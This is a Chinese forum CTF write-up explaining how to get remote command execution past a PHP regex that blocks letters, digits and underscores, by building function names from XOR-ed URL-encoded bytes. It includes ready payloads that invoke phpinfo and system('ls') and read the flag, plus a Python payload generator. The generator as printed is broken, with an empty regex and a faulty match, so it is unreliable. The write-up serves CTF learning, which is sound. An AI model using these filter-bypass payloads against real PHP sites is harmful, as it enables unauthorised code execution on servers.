【CTF】php特性无字母数字异或RCE
本帖最后由 孤樱懶契 于 2021-10-23 22:49 编辑# 前言
> 记录web的题目wp,慢慢变强,铸剑。
# 无字母数字命令执行web
```php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code =eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
```
分析源代码,这里用了正则表达式`/^\W+$/`,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用异或来吧(或运算,异或,取反等等都可以)
**也可以使用[导航](https://gylq.gitee.io/gylq-navigation/)中regex101进行正则自动判断分析**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211010105049748.png)
简单异或形成的原因分析一下,写个php代码
```
<?php
highlight_file(__FILE__);
eval($_GET['a']);
?>
```
当我们传入a的参数,输入的值进行异或,可以得到一些字符串比如,可以构造字符phpinfo,但使用的是ascii码中32-126之间的字符,除去大小写字母和数字还有下划线,能够构造字母
```
a=echo (("%0b%08%0b%09%0e%06%0f")^("%7b%60%7b%60%60%60%60"));
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211010105753504.png)
所以,当我们使用phpinfo时,可以直接构造如下payload,成功命令执行
```
a=echo (("%0b%08%0b%09%0e%06%0f")^("%7b%60%7b%60%60%60%60"))();
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211010105919095.png)
由于一个个筛选很麻烦,所以写一个脚本直接生成异或之后的字符,如下
```python
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/10/10
# # blog: gylq.gitee.io
import requests
import urllib
import re
# 生成可用的字符
def general_rce():
result = ''
preg = ''
for i in range(256):
for j in range(256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
x = i ^ j
if x >= 32 and x <= 126:
a = '%' + hex(i).zfill(2)
b = '%' + hex(j).zfill(2)
result += (chr(x) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == '':
break
if t == i:
s1 += t
s2 += t
break
f.close()
output = ("((\"" + s1 + "\")" + "^" + "(\"" + s2 + "\"))")
return output
def main():
general_rce()
while True:
s1 = input("\n[+] your function: ")
if s1 == "exit":
break
s2 = input("[+] your command: ")
param = action(s1) + action(s2)
print("\n result: \n" + param)
main()
```
当我们想要执行system ls 时,直接执行这个脚本获得
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211010110127469.png)
接着复制上去就可以看到结果
```
a=(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))(("%0c%08")^("%60%7b"));
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211010110152542.png)
所以我们分析一下这题,可以发现v1和v2都为数字可以不用管,但是想要执行return,前面的v1后面得跟一个连接符,不然无法执行命令,所以v3前面加个连接符/*-|都行,我用除号,就可以构造payload,读取flag
```
v1=1&v2=1&v3=/(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))(("%08%01%03%00%06%0c%01%07%00%0b%08%0b")^("%7c%60%60%20%60%60%60%60%2e%7b%60%7b"));
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20211010110401754.png)
感谢分享 学习了,感谢分享! 挺漂亮的源码是多少
页:
[1]